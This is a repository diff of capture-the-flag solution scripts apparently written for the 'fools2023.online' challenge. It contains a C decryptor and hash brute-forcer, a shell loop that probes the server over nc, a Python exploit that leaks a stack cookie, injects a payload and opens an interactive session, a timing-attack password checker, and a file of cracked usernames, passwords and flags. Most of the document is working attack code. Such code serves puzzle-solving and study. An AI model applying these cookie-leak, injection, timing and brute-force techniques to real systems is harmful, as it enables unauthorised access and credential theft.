0x33, 0x8f, 0x11, 0x1e, 0xaf, 0xd3, 0x40, 0xa7, |
||||
|
0x86, 0x26, 0xf3, 0x77, 0x4c, 0x6e, 0x2d, 0x2d, |
||||
|
0xa4, 0x03, 0xc2, 0x74, 0x2e, 0xb3, 0xdd, 0x85, |
||||
|
0x29, 0x41, 0x90, 0xc3, 0xc7, 0x3a, 0x96, 0xb9, |
||||
|
0x8e, 0x35, 0xcf, 0x37, 0xc0, 0xc8, 0xff, 0xd5, |
||||
|
0x8b, 0x9f, 0xa1, 0xd9, 0x0f, 0x8e, 0x8e, 0xc6, |
||||
|
0x11, 0xc1, 0xc0, 0xc9, 0x9e, 0x5b, 0x9c, 0xa1, |
||||
|
0x2d, 0xc6, 0x4b, 0xf5, 0x34, 0x65, 0xb4, 0xcc, |
||||
|
0xac, 0x88, 0xbf, 0x49, 0x43, 0x77, 0xac, 0x8f, |
||||
|
0x61, 0x71, 0x8e, 0x59, 0x7f, 0x78, 0xd9, 0x73, |
||||
|
0x41, 0x90, 0x73, 0x8b, 0x8e, 0x93, 0x3f, 0x6e, |
||||
|
0xdd, 0x2e, 0x37, 0xe8, 0x72, 0x43, 0xa1, 0xf3, |
||||
|
0xa9, 0xfe, 0x7f, 0x98, 0xf3, 0xa5, 0x98, 0x43, |
||||
|
0xe5, 0x60, 0xb9, 0x5d, 0xbd, 0xba, 0x3f, 0xae, |
||||
|
0x71, 0xf6, 0xed, 0xc1, 0xfe, 0x8f, 0x2d, 0x15, |
||||
|
0xd9, 0xc6, 0xf7, 0x57, 0x83, 0x57, 0x7e, 0x10, |
||||
|
0xb6, 0xc3, 0x76, 0x29, 0xb1, 0x10, 0x12, 0x1e, |
||||
|
0xea, 0xa1, 0x15, 0x81, 0x9c, 0x22, 0x5f, 0x8a, |
||||
|
0xf3, 0xff, 0x1c, 0x37, 0x4e, 0x57, 0x1b, 0x26, |
||||
|
0x64, 0xb7, 0xca, 0x7c, 0xc8, 0x57, 0xd9, 0x57, |
||||
|
}; |
||||
|
|
||||
|
uint8_t dec[0x200]; |
||||
|
|
||||
|
void decrypt(uint16_t key) |
||||
|
{ |
||||
|
for (int i = 0; i < 0x200; i += 2) { |
||||
|
key = (key * 0x41a7) ^ 0x5555; |
||||
|
uint16_t d = data[i + 0] << 0 | data[i + 1] << 8; |
||||
|
d ^= key; |
||||
|
dec[i + 0] = d >> 0; |
||||
|
dec[i + 1] = d >> 8; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
uint8_t fools[] = {'F', 'O', 'O', 'L', 'S'}; |
||||
|
|
||||
|
bool check() |
||||
|
{ |
||||
|
return memmem(dec, 0x200, fools, sizeof(fools)); |
||||
|
} |
||||
|
|
||||
|
uint16_t hash(char *str) |
||||
|
{ |
||||
|
uint16_t key = 0x9fc0; |
||||
|
for (;;) { |
||||
|
uint16_t in = str[0] << 0 | str[1] << 8; |
||||
|
key = (((key * 2) ^ in) * 2) + in; |
||||
|
if (*str == 0) break; |
||||
|
str++; |
||||
|
break; |
||||
|
} |
||||
|
return key; |
||||
|
} |
||||
|
|
||||
|
int main() |
||||
|
{ |
||||
|
uint16_t key = 0; |
||||
|
for (int i = 0xa4; i <= 0xffff; i++) { |
||||
|
decrypt(i); |
||||
|
if (check()) { |
||||
|
fwrite(dec, 0x200, 1, stdout); |
||||
|
key = i; |
||||
|
break; |
||||
|
} |
||||
|
} |
||||
|
printf("\n%04x\n", key); |
||||
|
|
||||
|
uint8_t str[16] = {0}; |
||||
|
for (;;) { |
||||
|
int i; |
||||
|
for (i = 0; i < 2; i++) { |
||||
|
str[i]++; |
||||
|
//if (str[i] >= 0x7b) {
|
||||
|
//str[i] = 0x20;
|
||||
|
//continue;
|
||||
|
//}
|
||||
|
//if (str[i] < 0x30) str[i] = 0x30;
|
||||
|
//if (str[i] >= 0x3A && str[i] <= 0x40) str[i] = 0x41;
|
||||
|
//if (str[i] >= 0x5B && str[i] <= 0x60) str[i] = 0x61;
|
||||
|
|
||||
|
if (str[i] == 0x7f) { |
||||
|
str[i] = 0x20; |
||||
|
continue; |
||||
|
} |
||||
|
if (str[i] < 0x20) str[i] = 0x20; |
||||
|
break; |
||||
|
} |
||||
|
if (i >= 2) break; |
||||
|
|
||||
|
if (key == hash(str)) { |
||||
|
printf("%s\n", str); |
||||
|
} |
||||
|
} |
||||
|
} |
@ -0,0 +1,21 @@ |
|||||
|
#!/bin/sh |
||||
|
set -e |
||||
|
|
||||
|
for x in $(seq 240 255); do |
||||
|
for y in $(seq 0 255); do |
||||
|
if [ $y -eq 10 ]; then |
||||
|
out="$(printf 'f0%02x%02x0a710a' 9 $x | xxd -r -p | \ |
||||
|
nc fools2023.online 13339 | \ |
||||
|
grep '^Welcome,' | \ |
||||
|
sed -e 's/^Welcome, \([^!]*\)!*/\1/' | \ |
||||
|
cut -c -2)" |
||||
|
echo "$out" |
||||
|
continue |
||||
|
fi |
||||
|
out="$(printf 'f1%02x%02x0a710a' $y $x | xxd -r -p | \ |
||||
|
nc fools2023.online 13339 | \ |
||||
|
grep '^Welcome,' | \ |
||||
|
sed -e 's/^Welcome, \([^!]*\)!*/\1/')" |
||||
|
echo "$out" |
||||
|
done |
||||
|
done |
@ -0,0 +1,52 @@ |
|||||
|
#!/usr/bin/env python3 |
||||
|
|
||||
|
from sys import stdin, stdout |
||||
|
from binascii import unhexlify |
||||
|
import socket |
||||
|
import select |
||||
|
|
||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
||||
|
s.connect(("fools2023.online", 13339)) |
||||
|
|
||||
|
# Sniff out the stack cookie |
||||
|
s.send(unhexlify("f14ff7f150f7f151f7f152f70a")) |
||||
|
intro = bytearray() |
||||
|
s.settimeout(0.1) |
||||
|
while True: |
||||
|
try: |
||||
|
intro += s.recv(1024) |
||||
|
except socket.timeout: |
||||
|
break |
||||
|
s.settimeout(None) |
||||
|
intro = intro.decode() |
||||
|
index = intro.find("Welcome, ") + len("Welcome, ") |
||||
|
cookie = unhexlify(intro[index:index+8]) |
||||
|
|
||||
|
# Patch the stack cookie into the payload |
||||
|
code = bytearray(open("../prog/custom/pwninfsrv.prg", "rb").read()) |
||||
|
offs = len(code) - 0x100 |
||||
|
code[offs+0] = cookie[0] |
||||
|
code[offs+1] = cookie[1] |
||||
|
code[offs+2] = cookie[2] |
||||
|
code[offs+3] = cookie[3] |
||||
|
|
||||
|
# Send the payload |
||||
|
s.send(b"\n") |
||||
|
s.send(code) |
||||
|
s.send(b"\n") |
||||
|
|
||||
|
# Send the monitor rom |
||||
|
monitor = open("../prog/MONITOR.PRG", "rb").read() |
||||
|
s.send(monitor[0x1000:]) |
||||
|
|
||||
|
# Passthrough input |
||||
|
p = select.poll() |
||||
|
p.register(stdin.buffer, select.POLLIN | select.POLLPRI) |
||||
|
p.register(s, select.POLLIN | select.POLLPRI) |
||||
|
while True: |
||||
|
for fd, ev in p.poll(): |
||||
|
if fd == stdin.buffer.fileno(): |
||||
|
s.send(stdin.buffer.read(1)) |
||||
|
if fd == s.fileno(): |
||||
|
stdout.buffer.write(s.recv(1)) |
||||
|
stdout.buffer.flush() |
@ -0,0 +1,51 @@ |
|||||
|
#!/usr/bin/env python3 |
||||
|
|
||||
|
import socket |
||||
|
import time |
||||
|
import sys |
||||
|
|
||||
|
def socket_slurp(s): |
||||
|
# Read any data with a 0.1ms timeout |
||||
|
s.settimeout(0.1) |
||||
|
while True: |
||||
|
try: |
||||
|
s.recv(1024) |
||||
|
except socket.timeout: |
||||
|
break |
||||
|
s.settimeout(None) |
||||
|
|
||||
|
def socket_readline(s): |
||||
|
line = bytearray() |
||||
|
while True: |
||||
|
c = s.recv(1024) |
||||
|
line += c |
||||
|
if b"\n" in c: |
||||
|
break |
||||
|
return line |
||||
|
|
||||
|
def attempt(s, pwd): |
||||
|
s.send(b"ax.arwen\n") |
||||
|
part1 = socket_readline(s) |
||||
|
part2 = socket_readline(s) |
||||
|
|
||||
|
s.send(pwd + b"\n") |
||||
|
part1 = socket_readline(s) |
||||
|
time1 = time.time() |
||||
|
part2 = socket_readline(s) |
||||
|
time2 = time.time() |
||||
|
return time2 - time1 |
||||
|
|
||||
|
pwd = sys.argv[1].encode(sys.getfilesystemencoding(), 'surrogateescape') |
||||
|
print(pwd) |
||||
|
exit() |
||||
|
|
||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
||||
|
s.connect(("fools2023.online", 13338)) |
||||
|
socket_slurp(s) |
||||
|
|
||||
|
attempts = 4 |
||||
|
times = 0 |
||||
|
for x in range(attempts): |
||||
|
times += attempt(s, pwd) |
||||
|
times /= attempts |
||||
|
print(pwd, ":", "%.04f" % times) |
@ -0,0 +1,3 @@ |
|||||
|
sbw.shadow:GlitchResearchLabPas$w0Rd2022!X23 |
||||
|
sbw.shadow:FOOLS2023_{Y3d0ngST@il} |
||||
|
ax.arwen:sepiB7705*X |
Loading…
Reference in new issue